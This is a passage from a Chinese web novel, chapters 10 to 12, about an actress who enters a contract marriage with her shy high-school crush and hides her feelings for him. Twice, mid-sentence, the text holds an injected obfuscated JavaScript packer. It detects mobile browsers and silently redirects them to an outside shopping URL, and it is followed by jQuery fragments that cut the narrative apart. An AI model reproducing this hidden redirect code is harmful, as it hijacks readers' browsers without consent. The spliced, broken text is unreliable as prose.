黎玉钟总是很天真，觉得光靠努力就能达成任何目标。他和我的价值观并不相同，但是我也不否认他有成功的潜质。他是笨蛋者，不走任何一条捷径，交朋友就能看得出来，如果想，就一直坚定不移地叩动门把手，指望门会自己打开，他把门敲烂再说吧，他还真有可能做到。 毕竟他就是那样厉害的笨鸟。 他厉害之处就在于，水滴石穿，只要足够真诚，我的心也被他悄然撼动了。从一开始的瞧不起他，对他抱有十足的敌意，在他坚持不懈的感化下，我也放下了戒备，和他真正地交心。 我听过这样一种说法，一个人最深刻的挚交，或者可以称得上“灵魂伴侣”，一定不是一个最相似的人，反而极有可能是截然相反的，无论是性格，品味，还是对待整个世界的观念。从前我不相信，嗤之以鼻，现在却觉得很有可能。我不懂黎玉钟为何能和我相处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808385|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得如此融洽。 如果我没有对他动心，我想，我们会是一辈子的好朋友也说不定。等到我们二十岁，三十岁四十岁，还是可以一起聊些秘密的好朋友。我的十八岁，和前十七年的乏善可陈完全不同，完全天翻地覆，因为有了他的存在。我当然，嗯，还要狠狠地欺负他，让他既快乐又难过。 但如果， 我对他动心了呢？ 喜欢一个男生？ 不是吧。 我。 我李君同。 这可能吗？ 我有点慌了，只是意识到，嘿，还真有可能发生这样的事，这样荒谬的、令人不解的怪事，我喜欢黎玉钟吗？那个总是畏手畏脚，笑起来很局促的，连生气都不学会的孱弱的小男生。 他有什么值得我喜欢的？ 他除了心地善良、除了身上有香香的薄荷和茉莉的洗发水味，除了他白净得像个女生的脸蛋，除了他瘦弱的四肢，还有，怎么都跑不快的腿脚。除了他发起病来，那双咳出泪水的眸子。 还有什么？ 我的手一松，要交给班主任的表单掉落在地上。我捡起它，敲响班主任的办公室门，班主任问我监护人一栏的父亲为什么空着，我说，他不在省内。那你代签吧，好，我俯身写上名字。 这应该是我最后一次写他名字了。 再见。 真的再也不见。 班主任收起表单，和我谈论起志愿的事。一月份时我的统考成绩出来了，很理想，班主任说只要把握住文化分，全省前十也是有可能的事。我说我知道，当然，我比任何人都要清楚。 我努力的每一步， 用汗水湿透的每一步， 除了我，还有谁更清楚？ 是我，自始至终都是我一个人，迈出这糟糕透顶的每一步，从绝望的、生活的泥潭走出来。还是我，和我的谎言，不够逼真，不够漂亮，却支撑着我往前，支撑着我能很好地活下去。 我没有谎言，不是虚构的、讨人喜爱的我，就完全不成立了。我如果是那个爱慕虚荣的李君同，那个爸爸杀人了坐牢的李君同，那张顶着漂亮面孔，成天却不真诚地欺骗他人的李君同。 别人还会喜欢我吗？ 我恐怕的是，我不能获得所有人的喜爱，即便再怎么掩埋自己的本性，也不能。那时的我还没能明白这个浅显的道理，我得到太多的喜爱，如果这些喜爱有价值，那么我就是万钟加身。 我就是自己的世界的主人，任何地方都是我李君同的游乐场，我有把玩别人的能力，我也有拯救自己的本领。我当然要使劲狂妄了，当然要自认为什么都做得到，毕竟人不风流枉少年。 我走进空荡的教室里。 午休时间，并且提前放了学，高考前几天都是这样的。黎玉钟还在座位上等我，要一起回家。他对我的接近没有反应，我一看，原来是睡着了。这几天复习错题，我们俩都很没有精神。 我在位置上坐了一会儿，托着腮，盯着他。用我的目光悄悄临摹他被阳光覆盖的、棕褐色的纤长眼睫。我拉下了靠窗的帘，让他能够在黯淡的光线下安睡。他睡得那样熟，没有醒来。 我的心悄悄被牵动。 说不清什么欲望操纵了我，我想可能是刚得知自己的广大前程，被喜悦冲昏了头脑。我拿起书本，心想竟敢让我久等，他如果还不睁眼，黎玉钟，你再这样无辜，我就，我就偷偷亲你。 真的。 我可没和你开玩笑。 再不醒，你的初吻就归我了。 我是在心底问的，当然不指望听到他的回答，如果有回答，想必也是拒绝。所以我直接立起书本，侧过脑袋去。我像一个盗贼，小心翼翼，离我不过几厘米的地方，是我偷窃的宝物。 我喜欢黎玉钟， 很明显， 我知道答案了。 在我的嘴唇贴上去的一瞬间，一股美妙的幸福从我和他触及的区域孕育而出，如同那温暖的雨水，浇灌我自诩无坚不摧的心灵，咔哒，冰川出现了一点裂缝，春意盎然的野草生长而出。 忽然， 风吹动了帘子。 刺眼的阳光落在他的眼角，像有人背着我偷吻了他。他被惊扰了，不好，我的心里警铃大作。我立刻往后退，结束了那个蜻蜓点水的吻。在午后的课堂，只有悻悻的我，和心泛起的涟漪。 我心有不甘地盯着他。 而他的眼睫颤了颤， 没有醒来。 11. Chapter 11 “来，靠近一点，微笑。” 咔嚓。 留影，盖章，就这样。 一张新鲜出炉的结婚证。 我盯着它，感觉它也盯着我，彼此很陌生。换做三个月之前的我，大抵想不到和年少暗恋的人就这样潦草地结了婚，莫名其妙的，但凡任何人知道，都肯定会觉得我和黎玉钟脑子有病。 但还好，我没有觉得自己脑子特别有病，我是清醒着的，看到证上写着我和黎玉钟的名字，那种荒谬的快乐洋溢了我，如果不是当事人在身边，我立马笑出来，真是得益于我的好演技。 黎玉钟啊黎玉钟。 终于，你还是落到我手里了，再怎么样，做得一日夫妻是一日夫妻，百年修得同船渡，命运注定要让你年到二十七岁还没有老婆，注定要让我们同床枕一下，哈哈，这是千年的缘分！ 我感觉自己的嘴角很有可能压不住了，于是装模作样地低下头去，掩唇轻咳了一声。黎玉钟立刻向我看过来，他问我是不是感冒还没好。好了，我说，低头把结婚证塞进了鳄鱼皮包里。 “我送你回家？”他问，又说，“最近降温比较严重，你感冒才好，最好不要在外面吹风。” “没事，”我想说我穿得够厚了，并且今天还有形体课要上，这时候有电话打过来，是我的现经纪人。这是前经纪人推给我的，说之前跟在某毯星艺人身边，后来人家有退圈的想法，就流转到我手里了。他姓徐，比我还小两岁，我和他还要慢慢磨合。我接起电话，说小徐。 “姐，你看我前几天发给你那视频没？” 我其实常登那个平台，但是这几天生病了，看得少。我说我现在去看看，他说不用啦，就是我之前演的一个刑侦群像片里的女配翻红了。是么，我心想，这也是我演过最高光的角色了。 当年， 离某奖项只有一步之遥。 提名了，但也只是提名。 我是做好了能捧一座奖杯回来的准备，但是当年竞争确实比我想象的激烈，事后回看，拿奖真不是那么容易。前经纪人说我是时运不济，国内影视青黄不接好几年，就那年特别反常。 “也许吧。”我只能笑笑。 换作十年前的我，怎么也不能咽下这口气，大概率要和评片方理论理论，但那已经是去年的事了，在圈里摸爬滚打了这么几年，也不能逞年轻人气性，要知道人越傲，机会反而越少。 但好资源不是人人都能结交的，这机缘，总会给更年轻、腕儿越大的人。去年评完奖项后，公司有让我转型的想法，资源要给新人了，让我试试往情感类综艺、生活类综艺上靠一靠，最起码我入圈以来淡于炒作，基本的路人盘口碑还是有的。但是，翻车总是来得猝不及防。 当时得罪了一个常驻嘉宾，对方说话很直接，提我多年前和另一个男星搭戏时的恩怨，我觉得不是能放在镜头前说的事，毕竟那男星粉丝挺吓人的。果不其然，我被单独拎出来炮轰。 一时间，营销号说我孤傲的有，清高的也有。那男星流量大，演的都是一些电视剧，轮不到我咖位霸凌，虽然我往大荧幕上贴得多一点。我其实已经很委婉了，我说他台词有点不清楚。我其实想说的是，压根听不清他讲什么，有好几次我词都对不上，他又不背，NG得烦死了。 前几天我的角色切片红了，炸出来一堆路人为我反平，细扒了那个流量男星和我对戏的花絮，的确有很多地方不足，我的风评也好转了一些，从“孤傲”“霸凌晚辈”变成“搭戏挑剔”“要求严苛”。当事人导演也站出来为我说话，说当时确实搞到很晚，大家情绪都不是很好，不止我，任何一个拖延进度的人都会感到压力。导演愿意卖我一个人情，真的，我该感谢。 小徐又说：“姐，罗导问你最近有空没，想安排个饭局聚一聚，主要是聊聊她那个新本子。” “有。”我正是需要复工的时候，“我一直有空，随时都有空，你问问她的行程方便不方便。” “好，我去递个话。” 挂断了电话，我的心情很好，不知道是不是最近走运了，熬过低谷期，一切都开始往好去。我又想，可能是池建生克我，真的，这些年我的事业总是起起落落，这次是最难迈的坎儿，甚至我自己都有了退圈的念头，当然，只是一点儿，我就当自己是鬼迷心窍了，我才不呢。 我要拿奖拿到手软，被媒体吹上天际， 我的名字还要登上《时代》周刊的封面， 我还要在星光大道上留下属于我的那一颗， 我，李君同。 给我一点希望的火苗吧。 我就能死灰复燃。 许是看出我的迫切，黎玉钟说：“看来，你最近有的忙了，如果没空，婚礼可以往后延一延。” 我愣了愣，说：“不用。我会把工作往后排一排，至少在婚礼后，度完蜜月之后。”又拍了拍他的肩膀，故作尽职地道，“我说了，拿钱办事，而且我是个有职业操守的人，不会串组。” 黎玉钟没说什么，点了点头。 把我送回家，黎玉钟就去公司。自此我发现他的工作轨迹，周一到周五是满当的工作，节假日任何时候都有空，也就是说他没有任何的人际关系，又不进行额外的活动。他比我以为的还要不懂享乐，还是说，有钱人家的后代只会越来越向上攀爬？黎玉钟总是和别人不太相同。 我还以为， 多年后能比过他呢。 切。 到家之后，我把结婚证掏出来，又仔仔细细地看了好久。黎玉钟的脸，不是我见过最好看最精致的，却是我一直念念不忘的，我的指尖落在他那双秋水般的眸，摁了摁，就当触碰到。 想到不光有结婚证，将来还有离婚证，也不错，民政局这好地方能来两次，我和年少暗恋的人的同框机会也有两次。我躺在床上发愣，将结婚证盖在脸上，鼻尖闻到崭新的油墨味道。 振奋精神。 接下来迎接我的肯定都是好事，我心想，自从和池建生分开之后，好事就接踵而来，先是和经年未见的黎玉钟产生了联系，还能拿到一笔不菲的过渡资金，紧接着是好导演找上门来。池建生真的克我也说不准，而黎玉钟真的旺我，从许多年前遇到他开始，我就开始时来运转。 我的转折从他开始—— 但我并不因此感激他，我并非因为毫无价值而被他帮助，如果我不足够勇敢、我没有自己的优点与价值，命运女神也不会把机会给到我。瞧瞧他，黎玉钟，他也被我改变了许多，他的成功和如今再不胆怯、优柔寡断的性格，和我曾经给予他的温暖、坚硬的教诲脱不开干系。 我就重振旗鼓，整理妆发，踏上我的主战场。曾经我想过逃离，任何人面对困难都难免产生一丝退缩的想法，人性难免卑劣，但有东西是像马鞭一样狠狠驳斥你前行的，我管它叫尊严。 几天后，小徐帮我约了罗导的饭局。 罗导是业内知名的高口碑导演，之前我冲奖的那部作品，就出自她之手。我如此信赖于她，她有绝伦的才华，并且是一位温柔有力量的女性。在这种弱肉强食的丛林里，我可以放心把自己交给她，由她来发挥我。她告诉我，去年没能看见我得奖，很长一段时间都对我有愧疚。 那不是她的问题，我说，我当时也是太自负了，没有看清自己和行业内真正的实力派的差距。她没有说些漂亮的安慰话，而是很认真地看着我，说：“其实也是好事，你作为演员，其实还是有很大发挥空间的年龄，要记住，真正的演员和明星是有差别的，前者不受年龄设限。” “我知道。”我知道我得沉淀自己，打磨自己，而不是逞一时的人气和荣誉。罗导说：“得奖的那位前段时间还和我说，很庆幸你没拿这个奖，因为有的奖，拿了比没拿还要饱受争议。” “我知道，”我心知肚明，“陈前辈比我入行早，演的也都是离商业片有距离的角色，但这次评奖也被带了不少节奏。按理说她应该比我有资格得多，结果还，只能说怎么评都有怨气。” “是啊，”罗导身边的助理说，“你不看那个谁，脸都气绿了，结束后还专门发动态内涵呢！” 因为是和罗导私下的聚会，所以说的话题都比较大胆。她问我和池建生分手的事是真的假的。 虽然这些年没公开过，但圈内人知道的也不少。主要我和池建生都比较倾向于低调，我主攻大荧幕，池建生是走精品影视剧，只不过，既然是靠短期流量吃饭的，就不得不注意一些。 “真的，我和池建生去年九月份就分手了。”我说，“我都要结婚了，我前经纪人没和你说？” “还真没有，就是你们分手的风声，我都是听陈说的。”她笑了笑，“人家很关注你哦，虽然媒体一直拿你们比较，但是陈工作室没添过一把火，还说有机会还一起合作，有兴趣没？” “我和陈前辈啊？” “嗯，我这边有个双女主的本子，里面一个角色，一下子就想到你。我想你该考虑进组了吧。” 是，我坦诚道。我真的很需要一个打开局面的机会。刚从前公司那儿出来，换了新的班子，我需要一个迫切证明自己的机会。罗导微微一笑，说看出来了，机会就是留给有准备的人。 “你看看吧，这个角色，我是觉得一般人驾驭不来，但是你演的话，说不定别有感觉呢。” 我问：“是一个不讨喜的角色？” “准确的说，是在剧里不讨喜，但我个人觉得很有挖掘的深度，正好你又不喜欢接那种平面的角色。”她说，“这个角色是留白很多，谎话很多，谜团一直到结局才会揭晓的灰线人物。” “也就是说，陈前辈演的是‘白线’，我演的是‘灰线’，是吧？”我颔首，“是挺有意思。” “行，你这边先回去看剧本，有意向我们就下一步。”她又问，“但你最近不是在忙结婚吗？如果刚结婚就进组拍戏，那个甜蜜劲儿又美国，你老公会有意见吧，毕竟是一起过日子的。” “不会，”我摇头，“不是因为有感情而结婚，所以没什么意见。他纯是为了应付他家里。” “那你档期很空闲？” “嗯，办完婚礼再看看。” “那等你消息。” 聊得差不多，罗导今晚还有航班要赶，估计她只能在飞机上睡觉了。在大堂分别的时候，她问我，会不会后悔。我问什么，她说和池建生啊，你们在一起也有很久了，和别的人结婚。 “不后悔吗？” “我？”我指了指自己，一瞬间，差点笑出声。我知道罗导和她老公感情很要好，年少夫妻，但每个人有每个人的活法，我不适应那种，说实话，太强势的男人在我看来是很欠教训的。 “不是适合结婚的人选。”我干脆说真话，“其实，我和我未婚夫高中就认识了，只是一直没走到一起。他可能抱着找一个合适的人去结婚的态度，我吧……我对他还一直有点意思。” “那当时怎么没想着在一起？” 当时， 我陷入沉默。 怎么可能没想过？ …… 怎么可能没想过，和第一次动心的人在一起。是个人都不可能没想过。虽然黎玉钟，他压根什么都不知道，并且我要是真的说喜欢他，他会怎么看待我？我有一定的傲气，但败给现实，现实是我现在还寄人篱下呢。我没看轻自己是因为我自爱，他没看轻我，纯粹是因为他人好。 即便如此。 我不会就这样善罢甘休的，我对朋友的占有欲都这么强烈，更别提我喜欢的黎玉钟，我当时确实想的是，我不能轻易放过他，我得和他在一起，好上一阵子，哪怕也不一定走到最后。 瓜不是强扭的甜，但甜不甜的也得尝过才知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808386|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我的确想过给他表白，就在高考之后。现在回想起来，很多记忆都模糊了，只有当时那隐隐不甘的屈辱。以至于我以上大学，就迫切地找一个和他完全不同的类型：他如此害羞内敛，我就找热情奔放的，他长得比女生还要秀气，我就找阳刚浓眉的，他是边缘人物，我就找全院里最受欢迎的。我出于报复，但也享受了。 我是真和池建生看对眼过。 傻，我不可能因为留恋过一个男生，就浪费自己一整个青春。我需要新的体验，需要完整的少女时代，黎玉钟是一部分，当然是我最重要的一部分，但池建生未必没有给我好的经历。和自己像的人在一起，往往只需要一个勾魂而惊心动魄的眼神，他能明白我，我也能明白他。 年轻的我， 需要易躁的燃料。 我有闯劲，又有志气，和池建生两个草根，我记得有一次在饭局上，我们互相帮对方解围、打掩护，然后痛斥那些机会唾手可得的关系户。没戏接的时候，我们窝在出租屋里，做累了就躺着，看着斑驳的天花板发呆，然后吹一些破了天的牛皮，说等着吧，总有出头的一天。 有一次他被剧组的人欺负了，掉着眼泪回来，咬牙切齿地说，总有一天他会叫所有人瞧得起，他在我的肩膀掉眼泪，又咬又吮，哀怨地说等着吧，操，都给他等着，他一定让我刮目相看。 我当然记得。 但那已经是很遥远的回忆了，就像我和黎玉钟说我要成为一个厉害的演员，就像凯特温斯莱特那样，我也有意气风发的时候。但都在漫长的岁月里，被这个吃人不吐骨头的圈子磨平了。 我也被消磨了意志，看池建生往那条鲜花簇拥的道路去，看他能出席那些我不被邀请的场合，有时我也疑惑，就这样沉寂在大众的视野里，是否是正确的抉择？我是否还年轻，是否永远漂亮，能被观众永远铭记？我是否足够争气，能让我的影迷拿得出手，我已经二十七岁了。 时至今日，即便够到一些机会，我仍然不敢下此定论。我的成名之路肯定说不上一帆风顺，但也称不上彻底岌岌无名，我离成功最近的时候，也真的很近，然后，就被慢慢拉远了去。说自己是十八线，当然有夸大的成分，但现在的年轻人哪里知道我，熟悉我这一张面孔呢？ 就连年少的我，看现在的我肯定也觉得陌生。李君同，或者说，李心同，你的志气呢？你要演爆款角色的决心呢？你骄傲到不肯给任何人作配，你还上那些浮躁的综艺，供人取乐吗？ 你的理想哪儿去啦？ 没影儿啦？ 这种精明而残酷的想法总是不经意之间揭露了我，刺我一下，和我那自以为无功无过的业绩。我在黎玉钟看不见的地方悄悄打听他，怀揣着我那紧剩无几的好胜心，我不想比他混得差。 事实证明我也没有，作为同龄的入圈的人，我真算不上差劲的，而黎玉钟也并非那样风光。只有我自己知道，我的心气被磨灭了，他却依然那样纯粹，轻易被点燃，散出温暖的热量。 黎玉钟。 黎，玉，钟。 想过他会变得很可憎，变得市侩、冷漠和不尽人情，无论他畸变成什么样，我都做好了年少暗恋的人不再美好的最坏打算。但我没想到，黎玉钟没怎么变，他只是更沉默、更温柔了。 - 不得不说，因为剧本和复工的事，外加一个甜美的未婚夫，确实让这个冬天变得十足温暖。甚至在我还来不及感受寒冷，早春就悄悄降临了。我和黎玉钟的婚期将近，掰着指头数日子。 按理说，婚礼前夕是应该举办一场单身派对，但我和黎玉钟谁也没有要办的意愿，大抵因为并不是真结婚，所以也没有那种收心过日子的实感。不过，我们还是在他的公寓见上一面。 我们商量明天婚礼的事宜。 从来宾迎接，到司仪负责的步骤程序，家人这块我只通知了我妈，黎家也理解。还有一件事，既然结婚了，以后肯定得搬到一块儿住，起码不能刚结婚就分房，我们不住在老宅，离市中心太远了，通勤很不方便。他在市内有两个平层，地段有区别，之前问了我更倾向于哪一个。 “看你方便吧。”我的工作性质不考虑这个，“其实婚房也就是个名头，不用装得特别好，估计也就头几个月常住。我一年到头各种进组，你要是图方便，住你公司旁边的公寓就好。” “好。”他没什么意见。 如此，我们就确认到最后一个步骤，交换戒指，然后接吻。这是司仪提前发的步骤图，但是，我看向黎玉钟，他也看向我。我们之间涌动着一层不熟稔的隔阂。我说，你到时候可以吗？ 他说：“可以什么？” “接吻啊。”我抿了抿唇，“这个步骤你想省略还是？我是完全没问题，但是你到时候会不会下不去嘴？”眼神略过他微张的薄唇，我努力装作若无其事，“没事。借位也不是不行。” 他沉默了几秒钟。 “可以。” 我笑了笑，“别勉强自己。” “不是勉强。” 和不喜欢的人接吻，也不勉强吗？一方面，我为这样的黎玉钟而感到些微失望，另一方面，我又为这个对象是自己而暗自庆幸，我既希望他忠诚、纯洁，对爱情的态度是矢志不渝的，就不能指望他和一个不爱的对象结婚，对她好，即便没有爱情，也甘愿无微不至地照顾她。 幸好是我。 如果是别人， 我非嫉妒疯不可。 如此，我盯着他，像猎人盯紧自己的猎物。在这个密闭的空间里，除了我和黎玉钟没有别人。他说不勉强，于是，整个客厅静默得一根针掉到地上都清晰可闻，暧昧在视线贴合中发酵。他将我带到家里，他不知道一对陌生饮食男女会发生什么，我心想，我未必不想发生些什么。 “要不要，”我问， “提前排练一下？” 12. Chapter 12 说完，我自己都感觉头皮发麻，不知道黎玉钟会怎么想，他不可能答应，他肯定觉得是玩笑。即便如此，如果他点头，我真的吻上去？开玩笑，忍不住把他扒光了怎么办？我那么渴望他。 他说：“……也可以。” 什么都可以，什么都行，是这样吗？我错愕地审视着他，突然想到从重逢到现在，虽然是他提出了扮演配偶的要求，但除此之外，一切的事端都是我掌握节奏，他能做的，无非是配合。 我如果上他， 他也无所谓吗？ 他要真是那么随便的人，我竟然有点……有点不是滋味。我走近他，走到他面前，看清他那清秀的面颊，羞赧如同粉雾，悄无声息蔓延。他的耳根在我的注视下渐渐变红，喉间滚动。 “现在就试试？” 他轻轻“嗯”了声。 我又问：“你是第一次？” 他垂下视线，“没关系。” “低头。”我说。 他就像太听话的学生，低下头来，凑到我的脸上的，首先是他清润的洗发水味，薄荷茉莉香，那味道与其说是勾引，不如说是魔咒，丛生的香迹化作散不开的执念，缠绕在梦回的午夜。 像梦一样， 可以说吗？ 可能是在梦里，我心想，现实中的黎玉钟真的会乖顺地朝我低下头，任由我亲吻他吗？真的不会推开我？他是那样胆小的人，我和他最亲密的时候，和现在要做的事相比，也差远了。 我抬起头。 亲到了。 第一次不是在他睡着的时候。黎玉钟那双浅褐色的眸子，被他纤长的眼睫覆盖，一片朦胧的阴翳，像大片的乌云朵，口感是绵软的、湿润的，仔细看，里面闪烁着害羞而惊惧的闪电。 我的嘴唇触碰到他的，轻轻擦过几下，他的脸已经红得能滴血了。这样不行，我蹙眉说，你显得太生疏了，就好像我们不熟，这样骗不过别人。我告诉他还需要多适应，这点亲密行为就接受不了，以后还怎么演。我感觉我的哄骗非常低劣，又完全出于私心，我占足了他便宜。 他低声说，他会好好演的。 “那就认真点，黎玉钟，别老是一副要人催才肯用功的样子。来，试试，让我看看你的诚意。” 我引导他，抓住他的手放在我的颈后。我能清楚地感受到他的指尖在颤抖，微凉的。黎玉钟啊黎玉钟，我嘲笑他，你这可怎么办呐，和异性亲个嘴，你就如临大敌，你将来怎么找对象？ 你能和谁好呀？ 除了我。 除了我，没有别人。 不可以有别人了。 他的手掌微微使劲，迫使我向他凑近。即便他不这样，我也心甘情愿。但我不能说，我愿意和他接一百个吻，我愿意和他滚到床上去，他的卧室离客厅不过十几步路。我不能说，永远都不能说，假借扮演妻子的名头，我得以戴上一层坚硬的假面，面具之下，是我脆弱的真心。 他吻我，让我肌肤紧绷，四肢轻软，他的吻那样生疏，我却没办法把任何人的吻同他的比较。他有特殊的意义，是我年少时期的光亮，温暖了那时的我。他永远有别人比不了的，我的爱给他赋魅了，即便他在旁人看起来那样木讷、严谨，不解风情，他仍然有牵动我心的本领。 他吻了我一会儿，两三下，我说不清有多短促，在我还没回过味的瞬息，他的唇就离开了，只剩下一声若有似无的喘息。啊，我简直想把他抱去床上，把他的西装扒了，狠狠来上两下！ 唉。 不行。 我的理智告诉我——不行。如果这样做的话，黎玉钟保不准就被我吓跑了。明天就是婚礼了，新郎官跑了，我还更没面子呢，再说我真不想霸王硬上弓，那样的话，我多年来的努力扮演不就功亏一篑了吗？讲不好黎玉钟就是因为我和他只是朋友，而没有那些杂七杂八的感情，才让我来扮演他的妻子呢？他要是发觉我暗恋他，保不准说，哇，李君同你怎么是这样的人！ 开玩笑的， 他不会那么说， 他只会默默疏离我。 想到这个，我不可避免地心间一颤，方才的种种冲动都如潮水一般褪下。我冷静下来，再次认真地审视他，企图从里面看出一点情绪的波动。黎玉钟的漂亮脸蛋的确是红彤彤的，眼底也氤氲着水汽，但我不能肯定，他是因为与人亲近，还是亲近的那个人是我。我强迫的他。 难道是那样吗? 那我算什么女人？ “行，”我说，“这样就差不多了。” 我垂下眼，努力不去看他，不看就不会想。最起码我拥有了他，目前占据在他家里的人是我，而不是别人。暧昧的气氛戛然而止，我猜测黎玉钟很有可能还没缓过来，处男都是这样的，会因为一点亲热而方寸大乱。他的目光还停留在我的嘴唇上，别这样，再这样我就亲死他。 好在，他及时收回了目光。 天很冷了，夜深，外面又在下雨，一时半会停不了。倒春寒，冷气扎进骨头里，反反复复，黎玉钟问什么时候送我回家，我说算了吧，明天正好一起去婚礼现场。于是我在他家里睡，睡客房，突然想起还没问他到了新家之后是不是分房睡，如果不分床睡，我真怕控制不住。 我那种人，唉，黎玉钟只是躺在我的床上，我都要偷亲他的人。别指望我有什么自制力了，要是同居了，以后抬头不见低头见的，怎么办呢，他要是再像上次在我家，穿我的围裙扮成人夫勾引我呢？黎玉钟最可怕的地方就在于，他不知道自己多让我喜欢，他无辜地引诱我。 真要命。 要命的事多了去了。 次日一早，我和他一起到婚礼场地，司仪帮我们熟练流程。看到交换的戒指是十克拉左右的钻戒，我还真被闪瞎了眼，黎妈妈却说还好了，没有上次订婚宴上的戒指贵，那个是传家的。 我问订婚而已，为什么要用那么贵重的首饰，她笑说好不容易得来个儿媳妇，得先用好家伙牢牢套住才行，就黎玉钟这张笨嘴，不如钱能哄得来人。我心想，我和您儿子在一起还真不图钱，至少不图黎家的家产，我也不想被媒体写成嫁豪门，我的私心，顶多是贪图您儿子。 这次婚礼办得非常低调、奢华而隆重，足以看出黎家的诚心。这点我丝毫不怀疑，黎姥姥是那样好的人，如果说我唯一有愧疚的地方，除了我是黎玉钟花钱买来假扮的妻子，还有就是，我并没有成为优秀的人。姥姥在我最困难的时候扶我，我却没在自己的行业里面做出成绩。 我希望别人投资给我，我是有潜力的人，比起把黎姥姥视作家人，我更愿意把她当作老师。去年我本来想着拿到奖项，风风光光地去探望她，告诉她老人家，这些年我也算熬出头了。 但是我落选了。 唉，我那点没用的自尊，面对青睐我的人却很硬气。如果黎姥姥不十年如一日关照我，对我嘘寒问暖，总是让我别太逞能，我还真不会那么想证明自己。没做到，就像吊了一口恶气，不上不下的特别难受，那感觉像打了败仗回来，灰溜溜的，我不是败将，不能回来当逃兵。 对黎玉钟，我也是这样想的。我曾遐想过自己功成名就，看黎玉钟还需要俯下身子，而不是现在还需要他隐形的“接济”，如此，和许多年前没什么区别。我并非毫无长进，只是太慢，我从前一直不明白问题出现在哪里，经历了这半年的大起大落，代言走得差不多，商业价值也大幅缩水，和前司闹掰更是称得上孤注一掷，我的团队现在还靠我的救济粮养着，真的。 我是背水一战。 在这关头上，如果不是和黎玉钟的久别重逢，我未必能缓过来。他将饱满晶莹的钻戒戴在我的手上，然后俯身吻了吻，我演得十分感动，一手掩住面庞，热泪盈眶，心里却没什么波澜。 越是宏大的场面，越是鲜花和掌声，和我多年前的暗恋心事越贴切，我就愈发感到不适应。我不明白，他们看不出是演的，是啊，太逼真了，反而显得剧本外我的情感，荒谬而孤寂。 在一众“亲一个”“亲一个”的欢呼声中，黎玉钟抬手揽住我的肩膀，就像昨夜排练的那样，虽然他的臂弯仍旧僵硬，神情也透露出几分忐忑，但好在他的手不抖了，他俯身，吻住了我。 我闭上眼，目眩神迷的幸福包裹在外，内里是玻璃般的坚硬，就像手中的钻戒，徒有浮华。它来自于别人，而不是我亲手争取并拥有到的，我不在乎，我在想，离婚的时候给黎玉钟送一个比这更大的，我要挣钱，狠狠打他的脸，他不懂我在暗暗较劲个什么，我想比他更好。 追上他，俯视他，践踏他， 才是我少女时期的心事。 两片饱含着祝福的唇瓣分离开，黎玉钟的手还捧着我的脸颊，我感受到他大拇指的指骨在我下颚轻蹭了蹭，就像挠小猫下巴一样。他也需要出于无心，我却因此有再仰头吻住他的冲动。 婚礼很顺利地结束了。 晚上八点多，应该还有个夜场，老同学们包了个包厢，我和黎玉钟换下了婚服，开车过去。应该是料到我们俩都要喝酒，车上配有司机，黎玉钟还叮嘱我，喝不了就推给他，别逞能。 我笑了笑：“那到不至于，老同学都那么热情，不喝一点也过意不去，都这么多年没聚了。” “嗯。”黎玉钟说，“主要你当时也是和班上人关系很好，我以为你每年的同学聚会会来。” 我愣了愣，心想才不会呢。我对用谎言欺骗来的友情，不信任，不可能看重。高中后我就和任何一个班上的同学不联系了，偶尔，也是打听黎玉钟。而我和黎玉钟断联，又是因为别的。 我就说：“的确比较忙。” “看出来了，”他颔首。 我突然想起：“说我忙，我好歹还去过一次，毕业的时候。你呢？你可从来没去同学聚会吧。” 他沉默，随后轻声说，“不重要。” 不重要， 对他而言。 是这些人不重要，还是我也没那么重要？我又想起他以为我每年都会去同学聚会，是否因为这个，他每年都不来？我倒也没做什么罪大恶极的错事，我不明白的地方就在这里了，真的。 他为什么疏远了我呢？ 现在再谈这个，就有点矫情、可笑了。现在再谈过去，再谈那些暗戳戳的较劲，难宣于口，他不理我我也不搭理他，抱着手机看聊天框，暗自较劲。我在意的是，任何事情都是我主动，我和他的交集都掌握在我手里，是不是有一天我不朝他走近一步，他就会木讷地站在原地？ 我的确想走过去，但我的骄傲就像湍急的河流，踏进去，沾湿鞋子，打湿脚。望着它，总想掂量河对岸的风景，我最怕的就是走过去，对岸不欢迎我，又得踩着湿漉漉的袜子折返回来。 那多狼狈啊。 - 我挽着黎玉钟的手臂走进包厅，同学们已经在里面唱开了，我和黎玉钟被分开到沙发的两侧，各自交际。大家吵着要让黎玉钟唱歌，我说还是我来吧，黎玉钟的确不擅长在人前展露风头。 我唱了两首，就让别人唱了。几个以前是小团体的熟人围着我，要我讲和黎玉钟是怎么再次走到一块儿的，她们管这个叫破镜重圆。坐我后排的两人振振有词，一个说打那会儿就看出黎玉钟对我有意思了，另一个说你可拉倒吧，你当时说的是这两人天打雷劈也不可能好上。 众人哈哈大笑。 我抿着笑意，我的笑另有缘由，看吧，这就是保持高姿态的好处，没人知道我对黎玉钟暗恋，没人知道那段无疾而终的感情，它什么时候开始，到结束。我一人承受，甚至没有叫当事人发觉。这不失为一种高明的演法，如果说一定有什么弊端，大抵有时候连自己都骗了过去。 说些言不由衷的话。 做些言不由衷的事。 人们管那个叫“嘴硬”。 就像曾经在毕业季的同学聚会上，有人问起我和黎玉钟的事，问法相当直白，“你对黎玉钟到底有没有意思？”当时黎玉钟不在场，也幸好当事人不在场，否则我真的撒不出那个谎。 